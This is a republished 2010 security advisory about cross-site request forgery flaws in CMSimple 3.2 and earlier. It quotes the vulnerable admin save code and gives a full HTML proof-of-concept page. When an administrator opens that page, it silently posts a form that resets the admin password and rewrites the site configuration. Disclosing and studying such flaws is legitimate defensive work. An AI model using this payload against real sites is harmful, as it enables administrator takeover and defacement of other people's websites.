CMSimple XSRF Vulnerability

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CMSimple XSRF Vulnerability

来源：http://www.abysssec.com 作者：Abysssec 发布时间：2010-09-19

'''
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| \/ |/ __ \   /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/    \_\____/|____/

http://www.exploit-db.com/moaub-18-cmsimple-xsrf-vulnerability/

'''

- Title : CMSimple XSRF Vulnerability
- Affected Version :CMSimple <=3.2
- Vendor Site : www.cmsimple.org

- Discovery : Abysssec

- Description :
===============
CMSimple is one of the smallest, smartest and most simple Content Management Systems under the GPL or AGPL licence.
This CMS supported Multi language.

- Vulnerability:
==================
XSRFs
--------
Several XSRF existed in this CMS, attacker can use them for: changing admin password ,change use type or ,Deface the website.

Here is vulnerable code:

file:cmsimple/adm.php[line 141-180]:
    if ($action == 'save') {
     if ($form == 'array') {
      $text = "<?php\n";
      foreach($GLOBALS[$a] as $k1 => $v1) {
       if (is_array($v1)) {
        foreach($v1 as $k2 => $v2) {
         if (!is_array($v2)) {
          initvar($k1.'_'.$k2);
          $GLOBALS[$a][$k1][$k2] = $GLOBALS[$k1.'_'.$k2];
          $GLOBALS[$a][$k1][$k2] = stsl($GLOBALS[$a][$k1][$k2]);
          if ($k1.$k2 == 'editorbuttons')$text .= '$'.$a.'[\''.$k1.'\'][\''.$k2.'\']=\''.$GLOBALS[$a][$k1][$k2].'\';';
          else $text .= '$'.$a.'[\''.$k1.'\'][\''.$k2.'\']="'.preg_replace("/\"/s", "", $GLOBALS[$a][$k1][$k2]).'";'."\n";
         }
        }
       }
      }
      $text .= '?>';
     }
     else $text = rmnl(stsl($text));
     if ($fh = @fopen($pth['file'][$file], "w")) {
      fwrite($fh, $text);
      fclose($fh);
      if ($file == 'config' || $file == 'language') {
       if (!@include($pth['file'][$file]))e('cntopen', $file, $pth['file'][$file]);
       if ($file == 'config') {
        $pth['folder']['template'] = $pth['folder']['templates'].$cf['site']['template'].'/';
        $pth['file']['template'] = $pth['folder']['template'].'template.htm';
        $pth['file']['stylesheet'] = $pth['folder']['template'].'stylesheet.css';
        $pth['folder']['menubuttons'] = $pth['folder']['template'].'menu/';
        $pth['folder']['templateimages'] = $pth['folder']['template'].'images/';
        if (!(preg_match('/\/[A-z]{2}\/[^\/]*/', sv('PHP_SELF')))) {
         $sl = $cf['language']['default'];
         $pth['file']['language'] = $pth['folder']['language'].$sl.'.php';
         if (!@include($pth['file']['language']))die('Language file '.$pth['file']['language'].' missing');
        }
       }
      }
     }
     else e('cntwriteto', $file, $pth['file'][$file]);
    }

+POC:
  show this code as html page to CMS Admin:
   <html>
   <head>
   <title>Change Password and Deface site.</title>
   <script>
    function creat_request (path,parameter,method) {
    method = method || "post";
    var remote_dive = document.createElement('div');
    remote_dive.id = 'Div_id';
    var style = 'border:0;width:0;height:0;';
    remote_dive.innerHTML = "<iframe name='iframename' id='iframeid' style='"+style+"'></iframe>";
    document.body.appendChild(remote_dive);
       var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);
    form.setAttribute("target", "iframename");

    for(var key in parameter) {
    var hiddenField = document.createElement("input");
    hiddenField.setAttribute("type", "hidden");
    hiddenField.setAttribute("name", key);
    hiddenField.setAttribute("value", parameter[key]);
          form.appendChild(hiddenField);
        }
    document.body.appendChild(form);
    form.submit();
    }
    function bypass(){
            creat_request('http://site.com/cmsimple/',{'security_password':'test1','security_type':'page','site_title':'ALERT.','site_template':'default','language_default':'en','meta_keywords':'CMSimple%2C+Content+Management+System%2C+php','meta_description':'CMSimple+is+a+simple+content+management+system+for+smart+maintainance+of+small+commercial+or+private+sites.+It+is+simple+-+small+-+smart%21','backup_numberoffiles':'5','images_maxsize':'150000','downloads_maxsize':'1000000','mailform_email':'','editor_height':'%28screen.availHeight%29-400','editor_external':'','menu_color':'000000','menu_highlightcolor':'808080','menu_levels':'3','menu_levelcatch':'10','menu_sdoc':'','menu_legal':'CMSimple+Legal+Notices','uri_seperator':'%3A','uri_length':'200','xhtml_endtags':'','xhtml_amp':'true','plugins_folder':'','functions_file':'functions.php','scripting_regexp':'%5C%23CMSimple+%28.*%3F%29%5C%23','form':'array','file':'config','action':'save'});
    }

   </script>
   </head>
   <body onload="bypass();" >
   </body>
   </html>

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